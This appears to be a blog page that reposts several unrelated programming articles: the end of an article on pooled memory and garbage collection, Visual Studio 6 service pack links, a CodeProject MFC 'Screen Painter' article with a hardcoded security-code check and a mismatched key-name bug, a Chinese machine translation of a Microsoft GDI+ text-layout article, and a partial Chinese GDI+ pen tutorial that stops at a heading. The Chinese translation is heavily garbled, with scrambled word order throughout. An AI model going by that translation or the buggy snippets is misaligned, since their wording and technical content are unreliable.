In pooled memory management, each allocation specifies a pool of memory from which it should be allocated. Each pool has a different lifespan. In Apache, there is a pool that lasts the lifetime of the server, one that lasts the lifetime of the connection, one that lasts the lifetime of the requests, and others as well. Therefore, if I have a series of functions that will not generate any data that lasts longer than the connection, I can just allocate it all from the connection pool, knowing that at the end of the connection, it will be freed automatically. Additionally, some implementations allow registering cleanup functions, which get called right before the memory pool is cleared, to do any additional tasks that need to be performed before the memory is cleared (similar to destructors, for you object-oriented folks).

To use pools in your own programs, you can either use GNU libc's obstack implementation or Apache's Apache Portable Runtime. GNU obstacks are nice, because they are included by default in GNU-based Linux distributions. The Apache Portable Runtime is nice because it has a lot of other utilities to handle all aspects of writing multiplatform server software. To learn more about GNU obstacks and Apache's pooled memory implementation, see the links to their documentation in the Resources section.

The following hypothetical code listing shows how obstacks are used:
Listing 11. Example code for obstacks



#include <obstack.h>

#include <stdlib.h>

/* Example code listing for using obstacks */

/* Used for obstack macros (xmalloc is
   a malloc function that exits if memory
   is exhausted */

#define obstack_chunk_alloc xmalloc

#define obstack_chunk_free free

/* Pools */

/* Only permanent allocations should go in this pool */

struct obstack *global_pool;

/* This pool is for per-connection data */

struct obstack *connection_pool;

/* This pool is for per-request data */

struct obstack *request_pool;

void allocation_failed()

{

	exit(1);

}

int main()

{

	/* Initialize Pools */

	global_pool = (struct obstack *)

		xmalloc (sizeof (struct obstack));

	obstack_init(global_pool);

	connection_pool = (struct obstack *)

		xmalloc (sizeof (struct obstack));

	obstack_init(connection_pool);

	request_pool = (struct obstack *)

		xmalloc (sizeof (struct obstack));

	obstack_init(request_pool);

	/* Set the error handling function */

	obstack_alloc_failed_handler = &allocation_failed;

	/* Server main loop */

	while(1)

	{

		wait_for_connection();

		/* We are in a connection */

		while(more_requests_available())

		{

			/* Handle request */

			handle_request();

			/* Free all of the memory allocated

			 * in the request pool

			 */

			obstack_free(request_pool, NULL);

		}

		/* We're finished with the connection, time

		 * to free that pool

		 */

		obstack_free(connection_pool, NULL);

	}

}

int handle_request()

{

	/* Be sure that all object allocations are allocated
	 * from the request pool
	 */

	int bytes_i_need = 400;

	void *data1 = obstack_alloc(request_pool, bytes_i_need);

	/* Do stuff to process the request */

	/* return */

	return 0;

}

Basically, after each major stage of operation, the obstack for that stage is freed. Note, however, that if a procedure needs to allocate memory that will last longer than the current stage, it can use a longer-term obstack as well, such as the connection or the global one. The NULL that is passed to obstack_free() indicates that it should free the entire contents of the obstack. Other values are available, but they usually are not as useful.

Benefits of using pooled memory allocation include the following:

  • It is simple to manage memory for the application.
  • Memory allocation and deallocation is much faster, because it is all done a pool at a time. Allocation can be done in O(1) time, and pool release is close (it's actually O(n) time, but divided by a huge factor that makes it O(1) in most cases).
  • Error-handling pools can be preallocated so that your program can still recover if regular memory is exhausted.
  • There are standard implementations that are very easy to use.

The drawbacks for pooled memory are:

  • Memory pools are only useful for programs that operate in stages.
  • Memory pools often do not work well with third-party libraries.
  • If program structure changes, the pools may have to be modified, which may lead to a redesign of the memory management system.
  • You must remember which pool you need to allocate from. In addition, if you get this wrong, it can be hard to catch.


Back to top


Garbage collection

Garbage collection is the fully automatic detection and removal of data objects that are no longer in use. Garbage collectors are usually run when the available memory drops below a specific threshold. Generally, they start off with a "base" set of data that is known to be available to the program -- stack data, global variables, and registers. They then try to trace through every piece of data linked through those. Everything the collector finds is good data; everything that it doesn't find is garbage and can be destroyed and reused. To manage memory effectively, many types of garbage collectors require knowledge of the layout of pointers within data structures, and therefore have to be a part of the language itself to function properly.

Types of collectors

  • Copying: These divide memory storage into two parts and allow data to live only on one side. Periodically, they start copying data from one side to the other starting with "base" elements. The newly occupied section of memory now becomes active, and everything on the other side is considered garbage. Also, when this copying occurs, all of the pointers have to be updated to point to the new location of each memory item. Therefore, to use this method of garbage collection, the collector must be integrated with the programming language.
  • Mark and sweep: Each piece of data is marked with a tag. Occasionally, all tags are set to 0, and the collector walks through the data starting with "base" elements. As it encounters memory, it marks the tag as 1. Everything not tagged 1 at the end is considered garbage and reused for later allocations.
  • Incremental: Incremental garbage collectors do not require a full run through all data objects. Running through all of memory causes problems because of the all-at-once wait during the collection period and because of the cache problems associated with accessing all current data (everything has to be paged-in). Incremental collectors avoid these problems.
  • Conservative: Conservative garbage collectors do not need to know anything about the structure of your data to manage memory. They simply look at all data bytes and assume they could all be pointers. So, if a sequence of bytes could be a pointer to a piece of allocated memory, it marks it as being referenced. This sometimes leads to problems where memory that isn't referenced is collected if, for example, an integer field contained a value that was the address of allocated memory. However, this is a fairly rare occurrence, and it only wastes a little memory. Conservative collectors have the advantage that they can be integrated with any programming language.

Hans Boehm's conservative garbage collector is one of the most popular garbage collectors available, because it's free and it's both conservative and incremental. You can use it as a drop-in replacement for your system allocator (using malloc/free instead of its own API) by building it with --enable-redirect-malloc. In fact, if you do this, you can use the same LD_PRELOAD trick that we used for our simple allocator to enable garbage collection in almost any program on your system. If you suspect a program is leaking memory, you can use this garbage collector to keep the process size down. Many people used this technique in the early days of Mozilla when it leaked memory heavily. This garbage collector runs under both Windows® and UNIX.

Some advantages of garbage collection:

  • You never have to worry about double-freeing memory or object lifetimes.
  • You can, with some collectors, use the same API that you used for normal allocation.

The drawbacks include:

  • With most collectors, you have no say when your memory is going to be freed.
  • In many cases, garbage collection is slower than other forms of memory management.
  • Bugs caused by garbage collection errors are hard to debug.
  • You can still have memory leaks if you forget to set unused pointers to null.



Back to top


Conclusion

It's a world of tradeoffs: performance, ease-of-use, ease-of-implementation, and threading capability, just to name a few. There are numerous patterns of memory management at your disposal to match your project requirements. Each pattern has a wide range of implementations, each of which has its benefits and drawbacks. Using the default techniques for your programming environment is fine for many projects, but knowing the available options will help you when your project has special needs. This table compares the memory management strategies covered in this article.

Table 1. Comparison of memory allocation strategies

Strategy Allocation speed Deallocation speed Cache locality Ease of use Generality Usable in real time SMP and thread-friendly
Custom allocator Depends on implementation Depends on implementation Depends on implementation Very difficult None Depends on implementation Depends on implementation
Simple allocator Fast for small memory usage Very fast Poor Easy Very No No
GNU malloc Moderate Fast Moderate Easy Very No Moderate
Hoard Moderate Moderate Moderate Easy Very No Yes
Reference counting N/A N/A Excellent Moderate Moderate Yes (depends on malloc implementation) Depends on implementation
Pooling Moderate Very fast Excellent Moderate Moderate Yes (depends on malloc implementation) Depends on implementation
Garbage collection Moderate (slow when collection occurs) Moderate Poor Moderate Moderate No Rarely
Incremental garbage collection Moderate Moderate Moderate Moderate Moderate No Rarely
Incremental conservative garbage collection Moderate Moderate Moderate Easy Very No Rarely


Back to top


Resources

Documentation on the Web

Basic allocators Pooled allocators Smart pointers and custom allocators
  • The Loki C++ Library has a number of generic patterns implemented for C++, including smart pointers and a custom small-object allocator.
Garbage collectors Papers on virtual memory in modern operating systems Papers on malloc Papers on custom allocators Papers on garbage collection General resources on the Web Books
  • C++ Pointers and Dynamic Memory Management by Michael Daconta covers numerous techniques on memory management.

  • Memory as a Programming Concept in C and C++ by Frantisek Franek discusses techniques and tools for developing effective memory use and gives the role of memory-related errors the prominence it deserves in computer programming.

  • Garbage Collection: Algorithms for Automatic Dynamic Memory Management by Richard Jones and Rafael Lins describes the most common algorithms for garbage collection in use.

  • Section 2.5, "Dynamic Storage Allocation" from Fundamental Algorithms, Volume 1 of The Art of Computer Programming by Donald Knuth describes several techniques for implementing basic allocators.

  • Section 2.3.5, "Lists and Garbage Collection" from Fundamental Algorithms, volume 1 of The Art of Computer Programming by Donald Knuth discusses garbage collection algorithms for lists.

  • Chapter 4, "Small Object Allocation" from Modern C++ Design by Andrei Alexandrescu describes a high-speed small-object allocator that is quite a bit more efficient than the C++ standard allocator.

  • Chapter 7, "Smart Pointers" from Modern C++ Design by Andrei Alexandrescu describes the implementation of smart pointers in C++.

  • Jonathan's Chapter 8, "Intermediate Memory Topics" from Programming from the Ground Up contains an assembly-language version of the simple allocator used in this article.
From developerWorks
  • Self-manage data buffer memory (developerWorks, January 2004) outlines a pseudo-C implementation of a self-managing, abstract data buffer for managing memory.

  • A framework for the user defined malloc replacement feature (developerWorks, February 2002) shows how to take advantage of a facility in AIX that lets you replace the memory subsystem with one of your own design.

  • Mastering Linux debugging techniques (developerWorks, August 2002) describes debugging methods you can use in four different scenarios: segmentation faults, memory overruns, memory leaks, and hangs.

  • In Handling memory leaks in Java programs (developerWorks, February 2001), learn what causes Java memory leaks and when they should be of concern.

  • Find more resources for Linux developers in the developerWorks Linux zone.

  • Download no-charge trial versions of IBM middleware products that run on Linux, including WebSphere® Studio Application Developer, WebSphere Application Server, DB2® Universal Database, Tivoli® Access Manager, and Tivoli Directory Server, and explore how-to articles and tech support, in the Speed-start your Linux app section of developerWorks.

  • Get involved in the developerWorks community by participating in developerWorks blogs.

  • Browse for books on these and other technical topics.


Back to top


About the author

Jonathan Bartlett is the author of the book Programming from the Ground Up, an introduction to programming using Linux assembly language. He is the lead developer at New Media Worx, developing Web, video, kiosk, and desktop applications for clients. You can contact Jonathan at johnnyb@eskimo.com.

Visual Studio 6 Service Packs

Visual Studio 6 Service Packs


Service Pack 5
Microsoft Visual Studio 6.0 Service Pack 5 (SP5) provides updates to the Visual Studio 6.0 development system and its component products.
Service Pack 6
Microsoft Visual Studio 6.0 Service Pack 6 (SP6) provides updates to the Visual Studio 6.0 development system and its component products.
2月6日

Screen Painter

转自:http://www.codeproject.com/vcpp/gdiplus/ScreenPainter.asp

Overview

This article shows painting on screen by using command line parameters. Application is dialog based with transparent property, so painting on screen is actually painting on dialog which is invisible (transparent). Command line parameters provide possibility for other applications to use this application as its component.

Classes

This project contains 5 classes:

  • CCmdLineParser - Command line parameters class
  • CScreenPainterApp - Application class
  • CScreenPainterDlg - Dialog implementation
  • CStroke - Modified class form Scribble tutorials
  • SShortcuts - Structure for shortcuts key

Command line parameters

Implementation of the command line parameter is based on CCmdLineParser class by Pavel Antonov. The code below shows the implementation of command line parameters.

Collapse
void CScreenPainterApp::CommandLine(CScreenPainterDlg *pWnd)
{
    //Parsing the command parameters

     //First we check the security code 
    if(parser.HasKey("sec"))
    {
        CString strSec=parser.GetVal("sec");
        if(strSec!="123874981724sjdhflaksjdoaisdj20938448laskfj")
        {
          //string is wromg so there is no security code
          pWnd->SendMessage(WM_CLOSE);
        }
    }
    else
    {
        //ther is no security code
        pWnd->SendMessage(WM_CLOSE);
    }

    //No nedd for this parameter thue to Start Annotation when app starts
    if(parser.HasKey("start"))
    {
        pWnd->StartAnnotation();
    }

    //Clear command
    if(parser.HasKey("clear"))
    {
        pWnd->ClearTheScreen();
    }
    //Cursor
    if(parser.HasKey("cursor"))
    {
        CString strCursor=parser.GetVal("cursor");
        pWnd->SetCursor(strCursor);
    }
    //Color of the pen
    if(parser.HasKey("color"))
    {
        CString col=parser.GetVal("color");

        pWnd->SetColor(ParseColor(col));
    }
    //Thinkness
    if(parser.HasKey("thinkness"))
    {
        CString think=parser.GetVal("thinkness");
        pWnd->SetThinkness(atoi(think));
    }
    //PenType
    if(parser.HasKey("pentype"))
    {
        CString pen=parser.GetVal("pentype");
        pWnd->SetPenType(atoi(pen));
    }
    //Exit App
    if(parser.HasKey("exit"))
    {
      pWnd->SendMessage(WM_CLOSE);
    }
    //option command for clear the screen
    if(parser.HasKey("Pclear"))
    {
        CString str=parser.GetVal("Pclear");
        pWnd->m_sShotcuts.clear=str.GetAt(0);
    }
    //option command for exit app
    if(parser.HasKey("Pexit"))
    {
        CString str=parser.GetVal("Pexit");
        pWnd->m_sShotcuts.exit=str.GetAt(0);
    }
    //option command for pen width
    if(parser.HasKey("Pincrw"))
    {
        CString str=parser.GetVal("Pincrw");
        pWnd->m_sShotcuts.incrw=str.GetAt(0);
    }
    //option command for pen width
    if(parser.HasKey("decrq"))
    {
        CString str=parser.GetVal("Pdecrq");
        pWnd->m_sShotcuts.decrq=str.GetAt(0);
    }
    //option command for blue color
    if(parser.HasKey("Pblue"))
    {
        CString str=parser.GetVal("Pblue");
        pWnd->m_sShotcuts.blue=str.GetAt(0);
    }
    //option command for red color
    if(parser.HasKey("Pred"))
    {
        CString str=parser.GetVal("Pred");
        pWnd->m_sShotcuts.red=str.GetAt(0);
    }
    //option command for green color
    if(parser.HasKey("Pgreen"))
    {
        CString str=parser.GetVal("Pgreen");
        pWnd->m_sShotcuts.green=str.GetAt(0);
    }
    //option command for yellow color
    if(parser.HasKey("Pyellow"))
    {
        CString str=parser.GetVal("Pyellow");
        pWnd->m_sShotcuts.yellow=str.GetAt(0);
    }

    //Start Annotation have to be the last action
    pWnd->StartAnnotation();
}

Screen Painter parameters

Command line parameters has the standard form like:

screenpainter.exe [Argument list]

[Argument list] can be one of the following:

  • sec:value
  • clear
  • start
  • cursor:filename
  • color: Red,Green,Blue
  • thinkness:value
  • pentype:pentype
  • close
  • Pclear:value
  • Pexit:value
  • Pincrw:value
  • Pdecrq:value
  • Pblue:value
  • Pred:value
  • Pgreen:value
  • Pyellow:value

Arguments

  • sec:value argument. Sets the security code for starting. Security code is required when the application starts. If there is no security code, application cannot be started.

    Example:

    screenpainter.exe –sec:SecurityCode
  • clear argument. Clears the screen. Use this argument when you want to clear the screen contents.

    Example:

    screenpainter.exe –clear
  • start argument. This argument starts the annotation.

    Example:

    screenpainter.exe –start
  • cursor: filename argument. The cursor argument sets the cursor from the file name. This argument has a value. The value of the cursor argument is a *.cur or *.ani file name. If file is not in the root directory of the application, you have to specify full path name.

    Example:

    screenpainter.exe –cursor:test.cur

    or

    screenpainter.exe –cursor :c:\test.cur
  • color:red,green,blue argument. Color argument sets the color of a pen.

    Example:

    screenpainter.exe –color: 0,0,255
  • thinkness:value argument. Sets the pen width.

    Example:

    screenpainter.exe –thinkness:2 - determines the pen width of 2 pixels.
  • pentype:pentype argument. Sets the type of a pen. There are 7 types of pen:
    • pentype: 1 = PS_SOLID - Creates a solid pen
    • pentype: 2 = PS_DASH - Creates a dashed pen. Valid only when the pen width is 1 or less, in device units.
    • pentype: 3 = PS_DOT - Creates a dotted pen. Valid only when the pen width is 1 or less, in device units.
    • pentype: 4 = PS_DASHDOT - Creates a pen with alternating dashes and dots. Valid only when the pen width is 1 or less, in device units.
    • pentype: 5 = PS_DASHDOTDOT - Creates a pen with alternating dashes and double dots. Valid only when the pen width is 1 or less, in device units.
    • pentype: 6 = PS_NULL - Creates a null pen.
    • pentype: 7 = PS_INSIDEFRAME - Creates a pen that draws a line inside the frame of closed shapes.

    Example:

    screenpainter.exe –pentype:2 - Set the pen type PS_DASH..
  • close argument. Closes the application.

    Example:

    screenpainter.exe –close

    Of course, when you are starting the application, you can use any combination of the mentioned arguments.

    Example:

    screenpainter.exe -sec:SecurityCode -cursor:filename.cur 
                     -color:127,233,147 -thinkness:20 -pentype:2

    or

    screenpainter.exe –clear -close

    etc…….

Screen Painter options

During the drawing, you can use some of the option commands. Any option command you can fire up by pressing the corresponding keyboard key. The following commands are available:

  • x - Exit the application.
  • c - Clear the screen.
  • w - increase the Pen width for one pixel.
  • q - decrease the Pen width for one pixel.
  • b - change current color of the Pen in Blue color.
  • r - change current color of the Pen in Red color.
  • g - change current color of the Pen in Green color.
  • y - change current color of the Pen in Yellow color.

All options are available while you are drawing on the screen. The shortcuts for option commands are predefined and they can be modified, with command line parameters.

Pclear:value argument changes default shortcut key 'c' for clear to 'value' key.

Example:

screenpainter.exe –Pclear:z -after executing this parameter, 
                    default key for clear is cahanged in to 'z'.

Pexit:value argument changes default shortcut key 'x' for clear to 'value' key.

About Bahrudin Hrnjica


6 years experience with Visual C++ MFC programming.

Click here to view Bahrudin Hrnjica's online profile.

2月5日

为什么文本显示用与 GDI GDIPlus 绘制时不同

概要

使用 GDIPlus 文本布局是解析 - 独立。 此功能的效果当 GDIPlus 文本布局与解析 - 依赖 GDI 文本布局是相对成为明显。

(默认), 网格 - fitted 呈现中字体 hinting 通常变化的标志字符宽度。 标志符号显著增加宽度, 中所有的序列时 GDIPlus 可能需要加强设置文本以保持独立解析 -。 在极端情况下 (如是以每英寸点数 - 96 ] [ dpi 显示器上八角 MicrosoftSansSerif 字体标志 " l " 粗小写字符长运行), 某些字母间距可消失完全。

使用 GDIPlus 文本布局生成表单显示所有分辨率以及打印时相同。更多信息

解析 - 独立布局

GDIPlus 应用编程接口 (API) 中 DrawString 和 MeasureString 函数布置文本独立于设备解析 ; 因此, 段落的文本将相同数量的行, 无论哪个设备通过显示。 还有许多其他优点以及, 包括以下:
如果窗体上字段大小以容纳一个开发人员计算机, 上一些静态文本它, 应用程序可能运行上, 不管屏幕分辨率或辅助设置所有计算机上容纳文本。
它出现在屏幕上打印窗体, 时它将布局相同。
图元文件中记录窗体保留其布局。
考虑窗体设计器。 可能用于文字 -- 标题, 表单上定义一个框。 您键入标题, 调整框以适应它。 确实以便框只在分辨率 (设计器) 中工作, 符合正确遗憾, 与行, 文本不线性与解析。

同时显示为图形对象, 如线条、 图片, 不同设备解析意味着不同刻度因子。 逻辑行, 将是 100 像素 125 像素 120 - dpi 显示, 上长和 625 像素长 600 - dpi 打印机上绘制 96 - dpi 显示器上长。

字体高度为文本, 适当缩放为设备解析: A 字体是 20 像素高 96 - dpi 屏幕上绘制呈现 25 个像素高 125 - dpi 屏幕上和 125 像素高 600 - dpi 打印机上。 但是, 标志个别字符的宽度将缩放只有大约与高度。 切宽度也依赖于 hinting 说明该字体以调整用于可读性 Glyph 的形状 (网格调整) 中包含了。

TrueType hinting、 网格调整, 和 Glyph 宽度上他们 disproportionate 效果

-- TrueType 提示的应用程序 -- 调整网格就是调整呈现 Glyph Glyph 使屏幕大小上轻松 legible 中的像素位置。 hinting 技术包括 Glyph stems 整个像素和保险 Glyph 类似功能, 同样影响上的对齐方式。 字体设计者花费 hinting 每 Glyph 许多小时。

例如, 考虑字母 " s "、 " e "、 " w ", 和来自时间新罗马字体, 呈现在各种分辨率, 使用 GDI 上 8 点 " l " 是标准网格调整。

在以下示例, 以灰色, 中高分辨率绘制每 Glyph 和其边界框, 然后上绘制在给定大小和 dpi 表示它实际像素作为黑色圆圈。 96 dpi 是最广泛使用也称为 " 小字体 " 显示设置 对话框中控制面板中显示分辨率, 120 - dpi 情况对应于常见 " 大字体 " 显示设置。 150 dpi 成为 LCD 屏幕分辨率, 常用便携式计算机, 对于激光打印机当前低端分辨率是 600dpi。

注意如何, (标准屏幕分辨率), 96 dpi 上一个八角 Glyph 中有很少像素。 八角 96 - dpi 字母 " s ", 例如, 有的字符表示, 很 Glyph 几乎都旨在 portray。

Latin Letter "s" from Times New Roman

下面各个 Glyph 首图显示的绘制 Glyph 实际解析。 二图表示为正或负百分比之间是 Glyph 设计宽度和实际绘制宽度差值。 三图表示作为在实际显示分辨率小数像素差值。

网格调整后在以下示例, 左边 Glyph, 一个八角 96 - dpi 小写 " e " 是大约节省 11% 或比理想形状窄 .61 像素。

Latin Letter "e" from Times New Roman

如果没有调整, 无网格我们就认为唯一区别设计和显示宽度以反映四舍五入到接近像素的效果。 此时我们从未看到宽度不同是超过一半是一个像素。 在高分辨率 (2400 dpi), 实际上是这样, 看到这里 amounting 为 0.37 像素大区别。

然而, 在低分辨率, 效果是网格调整可超过或 swamp 简单四舍五入。 考虑字母 " w ", 上 hinting 的作用是特别极端。 而另一方面, 字母 " l " 是窄和由一个杆, 因而 hinting 的节目轻微影响。

Latin Letter "w" from Times New Roman
Latin Letter "l" from Times New Roman

如何对网格调整 GDIPlus compensates

当调整网格生成标志符号是窄比设计

前面示例中坏情况是 96 - dpi 字母 " w "。 " w " 是特别困难 Glyph 到提示也:: stems 必须出现对称具有等于厚度平均, 和。 仔细 hinting 导致良好外观, 但 hinted Glyph 是窄超过其设计宽度超过两个像素。 当网格 fitted 仅由八角 96 dpi " w " 字符串将是短 23%。

GDIPlus 显示一行的标志符号是少于其设计宽度, fitted 网格时它遵循以下一般规则:
允许行以通过合同到 em 正方形未进行任何更改的 Glyph 距的宽度。 请参阅了有关 em 正方形和其使用本文 " 参考 " 部分作为的版式度量单位。
当您增加到最多加倍, 单词之间空格的宽度由剩余 contraction。
通过引入空像素之间标志符号由剩余 contraction。
以下示例显示 GDI 和 GDIPlus 如何显示字符串 " wwwww wwwww wwwww wwwww wwwww " 八角时间新罗马字体中 96 dpi 上与网格调整。

GDI 相关 (分辨率 -) 显示 String of Latin Letter "W" from Times New Roman
显示 GDIPlus 独立 (分辨率 -) String of Latin Letter "W" from Times New Roman

本示例显示如何 GDIPlus 使用设计宽度来布置字符串, 和措施整个字符串长于 GDI 增多。 GDIPlus 允许字符串以通过 1 - 停止充足的远端并将剩余扩展置于空格。

以下示例显示了删除空格相同字符串。 GDIPlus 不能使用空格来弥补对于 contractions 由网格调整, 而插入一个额外像素之间一部分标志符号。

GDI 相关 (分辨率 -) 显示 String of Latin Letter "W" from Times New Roman
显示 GDIPlus 独立 (分辨率 -) String of Latin Letter "W" from Times New Roman

当调整网格生成标志符号是宽比设计

现在考虑下面示例, 使用 Microsoft MSSansSerif 粗字体以大小为 8 磅。 MicrosoftSansSerif 是对于和 Microsoft Windows 2000 - - 更高版本操作系统默认用户界面字体。

Latin Letter "e" from Microsoft Sans Serif
Latin Letter "l" from Microsoft Sans Serif
Latin Letter "s" from Microsoft Sans Serif
Latin Letter "w" from Microsoft Sans Serif

此例, 的标志符号大多数都是宽度大于 96 和 120 DPI 上绘制时它们设计。 虽然许多都没有 多 大, 但有特别困难有时。

考虑只写 " l " 的起始 96 dpi 字符串组成。 尽管每 " l " 是只 .16 像素宽度大于其设计宽度, 运行是只 7 字符是足以超过设计宽度是由整个像素运行。 此例, 通过 1 像素必须压缩字符串。 遗憾, 形状的小写 " l " 行为非常差时是由 1 像素重叠它们一对: 由于, 1 空白像素列为只有重叠进程导致标志相邻字符成实线由于仅有 1 像素空列, 重叠进程导致标志相邻字符以形成实线:。

以下示例显示运行 GDIPlus 由 GDI 和显示的 9 字母 " l " 字符:

GDI 相关 (分辨率 -) 显示 String of Latin Letter "l" from Microsoft Sans Serif with GDI
显示 GDIPlus 独立 (分辨率 -) String of Latin Letter "l" from Microsoft Sans Serif with GDI Plus

注意如何 GDIPlus 最后两个 " l " 中 s 似乎接触。

还可查看 GDIPlus 将少量 (1 / 6 em) 添加到显示每个字符串的每一端本例中。 这个 1 / 6 - 用于标志符号与 overhanging 结束并还提供 GDIPlus leeway 以帮助进行网格 - fitting 扩展少量。

一个示例是用 overhangs Glyph 是从时间新罗马字体倾斜 f 。 前导前面邻居下最左下功能扩展时顶层尾随功能 Glyph overhangs Glyph 向右 (Glyph 的尾随邻居)。 因为延伸量和 underhang intrude 到空间是邻接 Glyph, 它们并不参与到 f Glyph 宽度。 位于字符串末尾时字符因此, 延伸量呈现超出字符串的宽度。 1 / 6 - 在 overhangs 可呈现到其他此处。

如何显示相邻文本

也许要显示两个字符串并排以便它们显示为一个字符串。 可能需要这样做您编写一个编辑器, 或是显示文本进行格式更改段落内。

警告 : 生成带有多 DrawString 调用的文本行本身不能显示常规国际文本。 特别, 在阿拉伯语、 希伯来、 法斯语和其他从右到左语言, 字符串提前通常从右向左, 与本地化次序逆转周围数字和周围西方短语。 来使用双向行为由 Unicode drawString 处理内一个输出, 此方案。 规则是复杂。 有关详细信息, 请参阅 " The Unicode Standard Version 3.0, " 3.12 节。

显示相邻运行时的 DrawString 默认操作效果对您: First, 默认 StringFormat 对象添加一个额外 1 / 6 - 每末尾每输出 ; 秒, 当网格 fitted 宽度是小于设计, 呈现字符串可从其测量大小增加到一个 em 合同。

若要避免这些问题, 请按照下列步骤操作:
始终将 MeasureString 和 DrawString 基于版式 StringFormat (GenericTypographic) StringFormat 对象。

- 和 -

设置 TextRenderingHintAntiAlias TextRenderingHint 图形。
这些措施禁用处运行结束添加额外 1 / 6 -, 避免问题与通过使用抗 aliasing 和 sub-pixel Glyph 定位, 调整网格并导致完全可伸缩文本。 结果可能较小上小灰色。 来弥补对此, 使用 SetTextContrast 函数来 darken anti-alias 文本。

下表比较 GDI、 GDIPlus GridFitted 和 GDIPlus anti-alias 文本前面示例。

用空格格式
GDI 显示相关 (分辨率 -) String of Latin Letter "W" from Times New Roman
GDIPlus fitted 网格显示独立 (分辨率 -) String of Latin Letter "W" from Times New Roman
GDIPlus anti-alias 显示独立 (分辨率 -) String of Latin Letter "W" from Times New Roman

最差 Narrow 案例
GDI 显示相关 (分辨率 -) String of Latin Letter "W" from Times New Roman
GDIPlus fitted 网格显示独立 (分辨率 -) String of Latin Letter "W" from Times New Roman
GDIPlus anti-alias 显示独立 (分辨率 -) String of Latin Letter "W" from Times New Roman

最差宽案例
GDI 显示相关 (分辨率 -) String of Latin Letter "l" from Times New Roman
网格 - fitted GDIPlus 显示独立 (分辨率 -) String of Latin Letter "l" from Times New Roman
GDIPlus anti-alias 显示独立 (分辨率 -) String of Latin Letter "l" from Times New Roman

尽管 anti-alias 文本可看小灰色非常小大小 (这是 8 磅, 比网格 fitted 文本, 得更准确显示标志符号的形状并不从 Glyph 位置调整 (描述前面) 有关网格调整不降低。

回到顶端

何时使用 GDIPlus

DrawString 调用旨在以单一格式显示整个行或段落。 很好用于用户界面如表单, 其中伸缩性保证布局独立于显示分辨率。 在通过显示单独运行, 使用 multiformat 文本进行下面的任一操作:
在印刷字符串格式和 TextRenderingHintAntiAlias , 使用 DrawString 详见本文中前面讨论。

- 或 -

使用 GDI 的 ExtTextOut 或 UniScribe (Unicode 脚本处理器)。

参考

词汇表

点:
度量值的类型在美国和英国的大小。 约一英寸为 72.27 磅。 通常在计算机科学用作 1 / 72 英寸是。

em:
字体 - 特定单位的度量等于大小是字体 em 正方形。

em 正方形:
标志 TrueType 字体的字符在其设计 notional - square 坐标网格。

附加阅读

有关 Unicode 标准, 详细信息请参阅以下: The Unicode 联合会。 Unicode 标准, Version 3.0。 阅读, MA, Addison-Wesley, 2000。 5 61633 0 201 - - ISBN。

在 Internet: 有关 OpenType 规范, 浏览到下列 Microsoft Web 站点: 还位于 Microsoft Developer 网络库光盘下规范。

有关与网格调整, em 正方形 、 hinting, 和过程详细看到上述, OpenType 规范中 " TrueType 基础 " 附录或浏览下列 Microsoft Web 站点: 有关简介 UniScribe, Unicode 脚本处理器, 请参阅:
通过 Microsoft Systems 日记本, David M. meltzer, F。 Avery bishop, 褐色, David C 1998年 11月 支持多语言文本布局和复杂脚本随 Windows NT 5.0


这篇文章中的信息适用于:
Microsoft GDI+ 1.0
Microsoft Windows XP Professional
Microsoft Windows XP Professional for Itanium-based systems
 
2月4日

GDI+编程(二)使用画笔

作者:李昊

  画笔常用于绘制图形的轮廓.GDI+的画笔除了具有常见的色彩和宽度属性外,还具有对齐方式,线帽,变换方式等属性。GDI+中通过Pen类来定义画笔对象。

(一)、构造与使用画笔

      Pen(brush, width); //用颜色与线宽构造一个画笔
      Pen(color, width); //用画刷与宽度构造一个画笔
例子:
      Pen pen(Color(255, 0, 0, 0),1);//用第一个构造函数.构造宽度为1的黑色画刷
      graphics.DrawLine(&pen, 20, 10, 300, 100);
      
      Image         image(L"Texture1.jpg");
      TextureBrush  tBrush(&image);
      graphics.DrawImage(&image, 0, 0, image.GetWidth(), image.GetHeight());
      Pen           texturedPen(&tBrush, 30);//用第二个构造函数,用一个纹理画刷
      graphics.DrawEllipse(&texturedPen, 100, 20, 200, 100);

      
      

(二)、设值宽度与对齐方式
  创建画笔时,可以把宽度当作参数传给构造函数,我们也可以使用SetWidth()方法来改变画笔的线宽。一个理想的线宽度为0, 我们绘制一条直线时,像素位于直线的正中,下面的例子中我们用宽度为1的先用黑画笔绘制一条直线,在用绿色的宽度为10的画笔再绘制一次。
      Pen blackPen(Color(255, 0, 0, 0), 1);
      Pen greenPen(Color(255, 0, 255, 0), 10);
      greenPen.SetAlignment(PenAlignmentCenter);
      graphics.DrawLine(&greenPen, 10, 100, 100, 50);
      graphics.DrawLine(&blackPen, 10, 100, 100, 50);

         

     我们把绿色画笔设为中对齐时: 
     graphics.DrawRectangle(&greenPen, 10, 100, 50, 50);
     graphics.DrawRectangle(&blackPen, 10, 100, 50, 50);

     

     我们把绿色画笔设为内对齐时:     
     greenPen.SetAlignment(PenAlignmentInset);

     

     这样我们可以按需要来设置对齐方式。     
(三)、设置笔帽
  我们可以用多种方式来绘制线条的头部与尾部形状,GDI+支持圆形,方形,菱形,与箭头等样式的笔帽。
      Pen pen(Color(255, 0, 0, 255), 8);
      pen.SetStartCap(LineCapArrowAnchor);
      pen.SetEndCap(LineCapRoundAnchor);
      graphics.DrawLine(&pen, 20, 175, 300, 175);
      效果如下:
         
(四)、设置两条直线的连接形
  GDI+为我们提供了当两条直线连接时连接处形状的设置,有四种方式:斜接(miter)、斜切(bevel),圆形(round),剪裁斜接(miter clipped)。
      GraphicsPath path;
      Pen penJoin(Color(255, 0, 0, 255), 8);
      path.StartFigure();
      path.AddLine(Point(50, 200), Point(100, 200));
      path.AddLine(Point(100, 200), Point(100, 250));
      penJoin.SetLineJoin(LineJoinBevel);
      graphics.DrawPath(&penJoin, &path);

          
(五)、自定义线型
  GDI+为我们提供了好多线型,如果满足不了我们的需求,我们可以用成员函数SetDashPattern可以使用一个预定义的数组来描述画笔的虚实, 下面的例子用自定义风格绘制了一条直线,所用数组为{5, 2, 15, 4},如果你用画笔宽度去乘数组得{25, 10, 75, 20},显示的曲线在25与75间变换, 空白在10与20间变换。
      REAL dashValues[4] = {5, 2, 15, 4};
      Pen blackPen(Color(255, 0, 0, 0), 5);
      blackPen.SetDashPattern(dashValues, 4);
      graphics.DrawLine(&blackPen, Point(5, 5), Point(405, 5));

            
有一点要明白,最后的那条虚线要比25单位少,这样它才能在405处结束。

(六)、画笔的旋转变换
